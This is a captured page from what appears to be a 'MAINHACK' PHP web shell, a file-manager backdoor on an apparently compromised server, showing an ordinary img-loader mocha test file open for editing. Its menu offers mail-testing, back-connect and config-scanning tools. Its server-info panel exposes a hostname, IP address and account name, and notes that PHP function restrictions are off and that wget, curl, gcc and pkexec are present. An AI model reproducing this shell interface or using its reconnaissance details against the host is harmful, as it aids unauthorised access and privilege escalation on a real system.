[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.spec.js
/* eslint-env mocha */ 'use strict' var assert = require('assert') var fs = require('fs') var path = require('path') var gifsicle = require('imagemin-gifsicle') var svgo = require('imagemin-svgo') var run = require('./run-webpack') var fixtureGif = fs.readFileSync(path.resolve(__dirname, './fixture.gif')) var fixtureSvg = fs.readFileSync(path.resolve(__dirname, './fixture.svg')) describe('img-loader', () => { it('passes the img though unchanged by default', function () { return run('./fixture.gif').then(function (image) { assert(image.equals(fixtureGif), 'gif should be unchanged') }) }) it('can apply optimizations for gif', function () { return run('./fixture.gif', { plugins: [ gifsicle({}) ] }).then(function (image) { assert(!image.equals(fixtureGif), 'gif should be changed') assert(image.length < fixtureGif.length, 'optimized gif should be smaller') }) }) it('can apply optimizations for svg', function () { return run('./fixture.svg', { plugins: [ svgo({}) ] }).then(function (image) { assert(!image.equals(fixtureSvg), 'svg should be changed') assert(image.length < fixtureSvg.length, 'optimized svg should be smaller') assert.strictEqual(image.toString('utf8'), '<svg/>') }) }) it('can use a function for plugins', function () { var context return run('./fixture.svg', { plugins: function (ctx) { context = ctx return [ svgo({}) ] } }).then(function (image) { assert.strictEqual(path.basename(context.resourcePath), 'fixture.svg') assert(image.length < fixtureSvg.length, 'optimized svg should be smaller') }) }) })
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002